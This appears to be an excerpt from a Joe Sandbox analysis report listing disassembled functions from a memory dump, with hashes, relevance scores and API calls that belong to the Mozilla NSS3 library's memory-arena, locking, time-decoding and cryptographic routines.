API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: bc545d7a298608d103a9f0d34baaa6bd382ac5a7f444f63ebd226ef65a93db4e
Instruction ID: 3b77f0fb57c4b8d9af48e6e734051207a1dca0417c6b37cd31df353202b75eb3
Opcode Fuzzy Hash: bc545d7a298608d103a9f0d34baaa6bd382ac5a7f444f63ebd226ef65a93db4e
Instruction Fuzzy Hash: C0312BB2E006166FEB00DF69DC409AF77B6EFC4728B198528E8159BB40FB31DD1587A1

Function 6CC52920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CC5294E

Part of subcall function 6CCB1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CC51D97,?,?), ref: 6CCB1836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CC5296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CC52991

Part of subcall function 6CCB1820: PR_SetError.NSS3(FFFFE005,00000000,?,6CC51D97,?,?), ref: 6CCB184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CC529AF
PR_Now.NSS3 ref: 6CC52A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC52A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC52A79

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 35d5c24d3b9976d3a90a951f1ca74b7a47eb51b2dcb832bd0fd28ac6c239252f
Instruction ID: 29530277f20242dc0ca0663b93167b800011509dc2d9a924464fd9c2295a5bbb
Opcode Fuzzy Hash: 35d5c24d3b9976d3a90a951f1ca74b7a47eb51b2dcb832bd0fd28ac6c239252f
Instruction Fuzzy Hash: DA41A075B083119FC710CF29C850A4FB3E9ABC8714F464A2DF89893745F730E9698B92

Function 6CC78C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CC78C7C

Part of subcall function 6CD19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD60A27), ref: 6CD19DC6
Part of subcall function 6CD19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD60A27), ref: 6CD19DD1
Part of subcall function 6CD19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CD19DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC78CB0
TlsGetValue.KERNEL32 ref: 6CC78CD1
EnterCriticalSection.KERNEL32(?), ref: 6CC78CE5
PR_Unlock.NSS3(?), ref: 6CC78D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CC78D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC78D93

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 152dc9a1c009751e3efe50c44f29acc810fff0e5394bb05e86b34179a56d871a
Instruction ID: 6be2f69df69af7b7975ddb7b5c2bd00f80968c1db85cf02d6d8cba5800cdb855
Opcode Fuzzy Hash: 152dc9a1c009751e3efe50c44f29acc810fff0e5394bb05e86b34179a56d871a
Instruction Fuzzy Hash: 50313771A00206AFEB209F69DD40BAAB7B4FF64318F14013AEB1567B90E770A914C7E1

Function 6CC72E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CC6E728,?,00000038,?,?,00000000), ref: 6CC72E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC72E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC72E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CC72E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CC72E9E
PR_Unlock.NSS3(?), ref: 6CC72EAB
PR_Unlock.NSS3(?), ref: 6CC72F0D

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 12109e8d881b5da50258d300a69cfb042c19b326310e441db2973bf01a18c593
Instruction ID: 7b9f16e6c45f08265decfdeede2b8bf40ea9d79f52069c18d67fd465f6ba1565
Opcode Fuzzy Hash: 12109e8d881b5da50258d300a69cfb042c19b326310e441db2973bf01a18c593
Instruction Fuzzy Hash: 3231E2B5A00505ABEB109F69EC8487AB778FF45258B048164ED08C7A11FB32DC64C7F1

Function 6CCBCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CCBCD93,?), ref: 6CCBCEEE

Part of subcall function 6CCB14C0: TlsGetValue.KERNEL32 ref: 6CCB14E0
Part of subcall function 6CCB14C0: EnterCriticalSection.KERNEL32 ref: 6CCB14F5
Part of subcall function 6CCB14C0: PR_Unlock.NSS3 ref: 6CCB150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CCBCD93,?), ref: 6CCBCEFC

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CCBCD93,?), ref: 6CCBCF0B

Part of subcall function 6CCB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CCB08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CCBCD93,?), ref: 6CCBCF1D

Part of subcall function 6CCAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CCA8D2D,?,00000000,?), ref: 6CCAFB85
Part of subcall function 6CCAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CCAFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CCBCD93,?), ref: 6CCBCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CCBCD93,?), ref: 6CCBCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CCBCD93,?,?,?,?,?,?,?,?,?,?,?,6CCBCD93,?), ref: 6CCBCF78

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 88804c52dcf44728bc4cdf06279010c7b73af461caa6667f063957d6b9001116
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 7511B4B5E002055BEB00AAEA7C41BABB6EC9F5464DF044039FC19E7B41FB70DA0986B1

Function 6CC68C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC68C1B
EnterCriticalSection.KERNEL32 ref: 6CC68C34
PL_ArenaAllocate.NSS3 ref: 6CC68C65
PR_Unlock.NSS3 ref: 6CC68C9C
PR_Unlock.NSS3 ref: 6CC68CB6

Part of subcall function 6CCFDD70: TlsGetValue.KERNEL32 ref: 6CCFDD8C
Part of subcall function 6CCFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCFDDB4

Strings

KRAM, xrefs: 6CC68C8F

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: e6c6408026bf6b6b15aa5257a68f8a27940cd909e3f4c05ea91e9400b78dfc9b
Instruction ID: 738fb3ca52cd80d80a726c9f4bc28ebabf8c909d45e591edd2bf3aec30342b66
Opcode Fuzzy Hash: e6c6408026bf6b6b15aa5257a68f8a27940cd909e3f4c05ea91e9400b78dfc9b
Instruction Fuzzy Hash: 732194B1A056019FD700AF7AC5C4959B7F4FF45308F05896AD884CBB01FB35D886CB91

Function 6CD62C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CD62CA0
PR_ExitMonitor.NSS3 ref: 6CD62CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CD62CD1
strdup.MOZGLUE(?), ref: 6CD62CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CD62D27

Strings

Loaded library %s (static lib), xrefs: 6CD62D22

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 42a1995721fd55f843ea1c993f10f817b5bc596e7f29449a1cec30e8d1aa4efb
Instruction ID: 469e3a66d7d4eab5ac9dc6f0f7339c5eb638637d5febbd1c05dca7395b6cb082
Opcode Fuzzy Hash: 42a1995721fd55f843ea1c993f10f817b5bc596e7f29449a1cec30e8d1aa4efb
Instruction Fuzzy Hash: ED11EFB1600201DFFB008F26D844A6A77B8AB4635EF14812DDA0987F61E732E818CBA1

Function 6CC568E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CC568FB
EnterCriticalSection.KERNEL32 ref: 6CC56913
PORT_FreeArena_Util.NSS3 ref: 6CC5693E
PR_Unlock.NSS3 ref: 6CC56946
DeleteCriticalSection.KERNEL32 ref: 6CC56951
free.MOZGLUE ref: 6CC5695D
PR_Unlock.NSS3 ref: 6CC56968

Part of subcall function 6CCFDD70: TlsGetValue.KERNEL32 ref: 6CCFDD8C
Part of subcall function 6CCFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCFDDB4

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: da988ca8f4a93c2246f6aa83942d118147f14a84d43c609d15ca5a622e126594
Instruction ID: f61c932984983dd37254a6c9602a4d5a2acfdc09e368cd145a5756fc755f90e8
Opcode Fuzzy Hash: da988ca8f4a93c2246f6aa83942d118147f14a84d43c609d15ca5a622e126594
Instruction Fuzzy Hash: D3114CF1604A058FEB00AFB9D08856DBBF8BF46254F014568D998DB701FB31D4A8CBA2

Function 6CCB0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC587ED,00000800,6CC4EF74,00000000), ref: 6CCB1000
PR_NewLock.NSS3(?,00000800,6CC4EF74,00000000), ref: 6CCB1016

Part of subcall function 6CD198D0: calloc.MOZGLUE(00000001,00000084,6CC40936,00000001,?,6CC4102C), ref: 6CD198E5

PL_InitArenaPool.NSS3(00000000,security,6CC587ED,00000008,?,00000800,6CC4EF74,00000000), ref: 6CCB102B
TlsGetValue.KERNEL32(00000000,?,?,6CC587ED,00000800,6CC4EF74,00000000), ref: 6CCB1044
free.MOZGLUE(00000000,?,00000800,6CC4EF74,00000000), ref: 6CCB1064

Strings

security, xrefs: 6CCB1025

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 7f866cf53a3509927c5367d329264a0dbce870ba642d162105da745c4470d9fb
Instruction ID: 44d2eef423ec5a3282002d4d1ddf2cc53c556ea1b2c57dae16fc92487cac956a
Opcode Fuzzy Hash: 7f866cf53a3509927c5367d329264a0dbce870ba642d162105da745c4470d9fb
Instruction Fuzzy Hash: 6301883164028097F7202FADFC44B563A78BF56798F004126E908E7A51FB31C146CBE1

Function 6CD6CBE0 Relevance: 10.5, APIs: 7, Instructions: 46COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000010), ref: 6CD6CBEA
PR_NewLock.NSS3 ref: 6CD6CBF9

Part of subcall function 6CD198D0: calloc.MOZGLUE(00000001,00000084,6CC40936,00000001,?,6CC4102C), ref: 6CD198E5

PR_NewCondVar.NSS3(00000000), ref: 6CD6CC05

Part of subcall function 6CC3BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CC421BC), ref: 6CC3BB8C

free.MOZGLUE(00000000), ref: 6CD6CC1C
DeleteCriticalSection.KERNEL32(-0000001C), ref: 6CD6CC34
free.MOZGLUE(00000000), ref: 6CD6CC41
free.MOZGLUE(00000000), ref: 6CD6CC47

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: callocfree$CondCriticalDeleteLockSection
String ID:
API String ID: 687540378-0
Opcode ID: bc0664ed8e73d33e410e57f3245c6a76a8c1ebdd991776a2824319a70fe235d9
Instruction ID: 50f3a3e160e4877b59726d0c6e04dc2e895a7e0cf918347a078933bc5ae3c482
Opcode Fuzzy Hash: bc0664ed8e73d33e410e57f3245c6a76a8c1ebdd991776a2824319a70fe235d9
Instruction Fuzzy Hash: 79F0A4717012115BEA10BBBAAC85BAF769C9F856ADF090424EA49C3F01EA16D414C7B6

Function 6CD6C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6CCE1AB6,00000000,?,?,6CCE07B9,?), ref: 6CD6C9C6
free.MOZGLUE(?,?,6CCE07B9,?), ref: 6CD6C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6CD6C9E5
free.MOZGLUE(?), ref: 6CD6C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6CD6C9F8
free.MOZGLUE(?), ref: 6CD6C9FF
free.MOZGLUE(00000000), ref: 6CD6CA0B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: c8b44a734e8c62e084bbacb5ee90a5bd74cdec523914c407134d5f594e856dae
Instruction ID: 3065302535c3a0f568813bbbc2755bc3b620664f548f9528eec0b286339eac4e
Opcode Fuzzy Hash: c8b44a734e8c62e084bbacb5ee90a5bd74cdec523914c407134d5f594e856dae
Instruction Fuzzy Hash: 6F012CB2600605ABEB10EFE4D88896BB7FCFA892717040525EA06C3A00D736F455CBA1

Function 6CCF2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCF3046

Part of subcall function 6CCDEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCDEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CCC7FFB), ref: 6CCF312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCF3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCF2E8B

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

Part of subcall function 6CCDF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CCC9BFF,?,00000000,00000000), ref: 6CCDF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CCC7FFA), ref: 6CCF2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCF317B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: eba52ec752c4263a864b47fcf75d4af49e36e9ff6995b4ac08d48e5fdd3cad48
Instruction ID: 1bbe44a9668663f8ca697eeaf99396762084745f9f8c612aad1979b2aed1efc4
Opcode Fuzzy Hash: eba52ec752c4263a864b47fcf75d4af49e36e9ff6995b4ac08d48e5fdd3cad48
Instruction Fuzzy Hash: E0A1BE71A00228AFDB24CF54CC94BEAB7B5EF45308F148099E9596B781E731AD46CFA1

Function 6CCAA970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ebb72d2d32e2d09d04976549ab1f36b3dc62c93fb1f0cd0a27d018141d8f24a
Instruction ID: 96ac63fda8a69f24985999804420427e85ac998a2f4f79db21e1398dfd00e4d3
Opcode Fuzzy Hash: 8ebb72d2d32e2d09d04976549ab1f36b3dc62c93fb1f0cd0a27d018141d8f24a
Instruction Fuzzy Hash: 3C914E30D0415E4FCB258EA98C953DDB7B5AF8A31CF1481D9C5999BA01F6318E87CF91

Function 6CCBED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CCBED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CCBEDCE

Part of subcall function 6CCB0BE0: malloc.MOZGLUE(6CCA8D2D,?,00000000,?), ref: 6CCB0BF8
Part of subcall function 6CCB0BE0: TlsGetValue.KERNEL32(6CCA8D2D,?,00000000,?), ref: 6CCB0C15

free.MOZGLUE(00000000,?,?,?,?,6CCBB04F), ref: 6CCBEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CCBEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CCBEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CCBEEFB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: b39a370272cef4cbfa83aa1b2361cbcc9a4bdd9df1126a29d9e57f5eb0ad4209
Instruction ID: ba9c9c626956999699eb777ccb8dbe0d6cdb6c26247227a08ef713391720f5cd
Opcode Fuzzy Hash: b39a370272cef4cbfa83aa1b2361cbcc9a4bdd9df1126a29d9e57f5eb0ad4209
Instruction Fuzzy Hash: 7E816DB5A002059FEB14CF99D884BAB77F5FF88708F14446CE915AB751E731E814CBA1

